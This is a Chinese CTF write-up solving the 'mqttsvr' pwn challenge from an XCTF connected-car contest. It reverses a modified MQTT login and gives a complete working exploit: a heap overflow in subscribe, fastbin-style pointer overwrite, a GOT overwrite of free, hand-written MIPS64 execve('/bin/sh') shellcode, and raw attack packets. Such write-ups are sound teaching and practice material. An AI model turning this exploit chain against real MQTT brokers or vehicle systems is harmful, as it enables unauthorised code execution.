饶派杯XCTF车联网安全挑战赛 pwn mqttsvr 赛题复现

环境准备

题目所给的二进制文件为mips64架构,大端序,需要准备好qemu。

似乎因为内存的关系pwndbg会报错,不知道别的插件怎么样。可以选择自己在原生gdb上写个小脚本,我这里选择ida attach过去(ida调试效率比较低下,需要注意)。

因为mqtt协议客户端都是通过网络发送,而题目文件是通过stdin,stdout接收和发送消息,所以中间需要一个小脚本用来转发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import socket
context.arch='mips64'
context.log_level='debug'
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind(('0.0.0.0',6666))
server.listen(5)
p=process(['qemu-mips64','-g','1234','-L','./','./server'])
sess,addr=server.accept()
recvlist=[]
while True:
try:
r=sess.recv(1024)
recvlist.append(r)
p.send(r)
sleep(0.01)
content=p.recv(1024,timeout=0.2)
sess.send(content)
except EOFError:
break
#得到发送的bytestring,方便编写exp
print(recvlist)
#重放,方便调试
p=process(['qemu-mips64','-g','12345','-L','./','./server'])
for i in recvlist:
p.send(i)
p.recv()

ida无法对mips64架构生成伪代码,可以使用ghidra生成伪代码,会提升逆向效率

服务端魔改了一点协议,需要找个合适的mqtt客户端进行更改。python的会方便一些,我这里随便找了一个.net xamarin的mqtt实现。

文件分析

小逆一手,最外层是一个while循环判断结束条件,不断调用内部函数,内部函数进行读取、长度的处理,然后进行解析。解析有一个很大的jumptable,很明显。在ghidra中将程序基址设为0可以生成swtich case的伪代码。

与mqtt协议对应看一下,jumptable对应的是不同类型报文的处理。先看Connect,显然被改动过。通过分析0x3200这个函数(这里ghidra的decompiler莫名其妙会似,可以直接ida调试,通过框图的每个branch判断报文是否正确)可以得到connect_flag开始的3个字节分别为0xc2 0x43 0x21。接下来会对clientid进行长度和内容的判断。由于是明文,很好逆出id为Car_MQTT_Client(这里的id不符合协议规范,可能也需要改一下客户端实现),Username则是异或0x3a后与存储的常量进行比较。Password的处理函数0x49f0中存在md5常数,动调发现确实是md5算法,但比较是通过strncmp函数进行比较,并且程序中进行比较的md5常量的第三个字节是00。所以我们只需要固定md5的前三个字节,进行爆破即可。这里我得到的密码是176f00jns{。由此,我们得到了Connect的报文格式和认证信息。

进一步分析发现subscribe和unsubscribe对应的是堆块的申请与释放。在subscribe中,存在堆溢出漏洞。

漏洞利用

由于没有地址随机化,我们不需要泄露地址。uClibc的堆管理器几乎没有安全检查,对于小堆块的处理类似于glibc的fastbin,堆块间通过链表连接。我们很自然地想到通过堆溢出覆盖链表指针地址,实现堆块的任意地址分配,从而实现任意地址写。

我们可以先在堆上布置好/bin/sh字符串,shellcode等gadget,然后通过覆盖got表调用shellcode,完成利用。

exp编写

由于一些库并不支持将raw bytes作为报文内容,因此对于一些报文需要手动调整内容。不过对于大多数报文来说可以直接保存客户端发送的内容,为exp编写节省时间。

在覆盖got表时,如果直接覆盖比较大的大小比如0x120,在malloc时就会出现段错误,这令我非常困惑,也不太清楚原因。所以我将gadget都放在了堆上。

shellcode没找到好用的,自己写了个(/bin/sh字符串地址已知)

1
2
3
4
5
6
7
8
9
10
11
lui $v0,0x4000
dsll $v0,$v0,8
lui $v1,0x311
dsrl $v1,$v1,8
daddu $v0,$v1
daddiu $v0,$v0,0x20
move $a0,$v0
move $a1,$zero
move $a2,$zero
li $v0, 5057
syscall

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.arch='mips64'
context.log_level='debug'
recvlist=[b'\x10:\x00\x04MQTT\x04\xc2C!\x00\x0fCar_MQTT_Client\x00\x11Car_Administrator\x00\n176f00jns{', #connect
#paddings for mallocing continuous chunks
b'\x82%\x00\x01\x00 01000000000000010000000012000000\x02',
b'\x82%\x00\x02\x00 010000000000000400000000120000f0\x02',
b'\x82%\x00\x03\x00 010000000000000100000000120000w0\x02',
#/bin/sh string
b'\x82%\x00\x04\x00 /bin/sh\x0000a0000400000000120000f0\x02',
b'\x82%\x00\x05\x00 0100000000b0000100000000120000w0\x02',
b'\x82%\x00\x06\x00 01000000000000000000000000000000\x02',
b'\x82%\x00\x07\x00 02000000000000000000000000000000\x02',
b'\x82%\x00\x08\x00 03000000000000000000000000000000\x02',
#victims
b'\x82%\x00\t\x00 04000000000000000000000000000000\x02',
b'\x82%\x00\n\x00 05000000000000000000000000000000\x02',
b'\x82%\x00\x0b\x00 06000000000000000000000000000000\x02',
#paddings
b'\x82%\x00\x0c\x00 07000000000000000000000000000000\x02',
b'\x82%\x00\r\x00 08000000000000000000000000000000\x02',
b'\x82%\x00\x0e\x00 09000000000000000000000000000000\x02',
#free 6,5,4
b'\xa2$\x00\x0f\x00 06000000000000000000000000000000',
b'\xa2$\x00\x10\x00 05000000000000000000000000000000',
b'\xa2$\x00\x11\x00 04000000000000000000000000000000',
#shellcode
b"\x82\x4d\x00\x12\x00\x48\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x3c\x02\x40\x00\x00\x02\x12\x38\x3c\x03\x03\x11\x00\x03\x1a\x3a\x00\x43\x10\x2d\x64\x42\x00\x20\x00\x40\x20\x25\x00\x00\x28\x25\x00\x00\x30\x25\x24\x02\x13\xc1\x00\x00\x00\x0c\x02",
#heap overflow
b'\x82\xa5\x02\x00\x13\x01 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001\x00\x00\x00@\x00\x01r(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02',
b'\x82%\x00\x14\x00 07000000000000000000000000000000\x02',
#malloc to got[free_ptr] and change it to shellcode addr
b'\x82%\x00\x15\x00 \x00\x00\x00@\x00\x03\x13@\x00\x00\x00@\x00\x03\x13@\x00\x00\x00@\x00\x03\x13@\x00\x00\x00@\x00\x03\x13@\x02',
#free to call shellcode
b'\xa2$\x00\x16\x00 01000000000000000000000000000000']

p=process(['qemu-mips64','-L','./','./server'])
for i in recvlist:
p.send(i)
p.recv(timeout=1)
p.interactive()